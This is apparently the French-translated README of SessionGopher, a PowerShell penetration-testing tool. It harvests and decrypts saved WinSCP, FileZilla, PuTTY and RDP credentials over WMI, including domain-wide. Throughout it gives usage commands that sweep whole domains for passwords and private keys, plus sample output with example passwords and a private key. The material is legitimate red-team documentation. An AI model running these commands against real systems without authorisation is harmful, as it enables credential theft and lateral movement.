
SessionGopher est un outil PowerShell qui utilise WMI pour extraire les informations de sessions enregistrées pour les outils d'accès à distance tels que WinSCP, PuTTY, SuperPuTTY, FileZilla et Microsoft Remote Desktop. Il peut être exécuté à distance ou localement.
Copyright 2017 FireEye, créé par Brandon Arvanaghi (@arvanaghi)
Sous licence Apache, version 2.0 (la « Licence ») ; vous ne pouvez pas utiliser ce fichier sauf en conformité avec la Licence. Vous pouvez obtenir une copie de la Licence à l'adresse suivante :
http://www.apache.org/licenses/LICENSE-2.0
Sauf si la loi applicable l'exige ou si cela est convenu par écrit, le logiciel distribué sous la Licence est distribué « EN L'ÉTAT », SANS GARANTIES NI CONDITIONS D'AUCUNE SORTE, expresses ou implicites. Voir la Licence pour connaître les autorisations et les limitations spécifiques régissant la Licence.
SessionGopher est un outil PowerShell qui trouve et déchiffre les informations de session enregistrées pour les outils d'accès à distance. Il intègre des fonctionnalités WMI afin de pouvoir être exécuté à distance. Son meilleur cas d'usage est l'identification des systèmes susceptibles de se connecter à des systèmes Unix, à des serveurs de rebond ou à des terminaux de point de vente.
SessionGopher fonctionne en interrogeant la ruche HKEY_USERS pour tous les utilisateurs qui se sont connectés à une machine jointe à un domaine à un moment donné. Il extrait les informations de session enregistrées de PuTTY, WinSCP, SuperPuTTY, FileZilla et RDP. Il extrait et déchiffre automatiquement les mots de passe enregistrés de WinSCP, FileZilla et SuperPuTTY.
Lorsqu'il est exécuté en mode Thorough, il recherche également sur tous les lecteurs les fichiers de clés privées PuTTY (.ppk) et extrait toutes les informations pertinentes relatives à la clé privée, y compris la clé elle-même, ainsi que les fichiers Remote Desktop (.rdp) et RSA (.sdtid).
-Thorough : recherche sur tous les lecteurs les fichiers de clé privée PuTTY (.ppk), de connexion Remote Desktop (.rdp) et RSA (.sdtid).
-o : génère les données dans un dossier de fichiers .csv
-iL : fournissez un fichier contenant la liste des hôtes sur lesquels exécuter SessionGopher, chaque hôte étant séparé par un saut de ligne. Indiquez le chemin du fichier après -iL.
-AllDomain : SessionGopher interroge Active Directory pour tous les systèmes joints au domaine et les exécute sur tous.
-Target : un hôte spécifique que vous souhaitez cibler. Indiquez l'hôte cible après -Target.
. .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
Pour exécuter à distance, vous pouvez fournir les identifiants d'un compte privilégié pour le système distant à l'aide des options -u et -p. Si vous omettez les options -u et -p, SessionGopher s'exécutera dans le contexte de sécurité du compte à partir duquel vous lancez le script (par exemple, si vous êtes déjà connecté avec un compte DA, ou avec un compte qui est administrateur local du système cible, ou si vous effectuez un runas avec l'un ou l'autre, vous n'aurez pas besoin de fournir d'identifiants).
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
ou
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -iL computerlist.txt -u domain.com\adm-arvanaghi -p s3cr3tP@ss -o
ou
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Target brandonArvanaghi_win7 -Thorough
Chacune de ces commandes peut être associée à -Thorough, mais notez que cela prend beaucoup plus de temps car elle interroge l'intégralité du système de fichiers distant. Il n'est pas recommandé d'utiliser le mode -Thorough lorsque vous interrogez plus qu'un petit ensemble de systèmes à la fois.
L'exécution à distance en ajoutant -o (sortie au format CSV) fonctionne bien, car SessionGopher accumule toutes les sessions qu'il trouve et vous indique exactement où il a trouvé cette session enregistrée.
Pour que SessionGopher crée un dossier contenant proprement les .csv des sessions extraites :
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
… c'est tout.
L'accès aux informations de session enregistrées pour chaque utilisateur dans HKEY_USERS nécessite des privilèges d'administrateur local. Sans ces privilèges, vous recevrez quand même les informations de session enregistrées pour cet utilisateur.
[+] Digging on Win7-Arvanaghi ...
WinSCP Sessions
Session : [email protected]
Hostname : 198.273.212.334
Username : admin-anthony
Password : Super*p@ssw0rd
Session : [email protected]
Hostname : 204.332.455.213
Username : Freddy
Password : angelico1892
FileZilla Sessions
Name : BarrySite
Password : imr34llytheFl@sh
Host : 10.8.30.21
User : BarryAllen
Protocol : Use FTP over TLS if available
Account : BarryAllenAccount
Port : 22
PuTTY Sessions
Session : PointOfSaleTerminal
Hostname : 10.8.0.10
PuTTY Private Key Files (.ppk)
Path : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol : ssh-rsa
Comment : rsa-key-20170116
Private Key Encryption : none
Private Key : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx,
nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
Private MAC : b7e47819fee39a95eb374a97f939c3c868f880de
Microsoft Remote Desktop (RDP) Sessions
Hostname : us.greatsite.com
Username : Domain\tester
Microsoft Remote Desktop .rdp Files
Path : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname : dc01.corp.hackerplaypen.com
Gateway : rds01.corp.hackerplaypen.com
Prompts for Credentials : No
Administrative Session : Does not connect to admin session on remote host
Écrit par Brandon Arvanaghi (@arvanaghi)
Ce code a été initialement développé chez FireEye. Cependant, toute mise à jour ultérieure est effectuée par l'auteur en dehors de FireEye.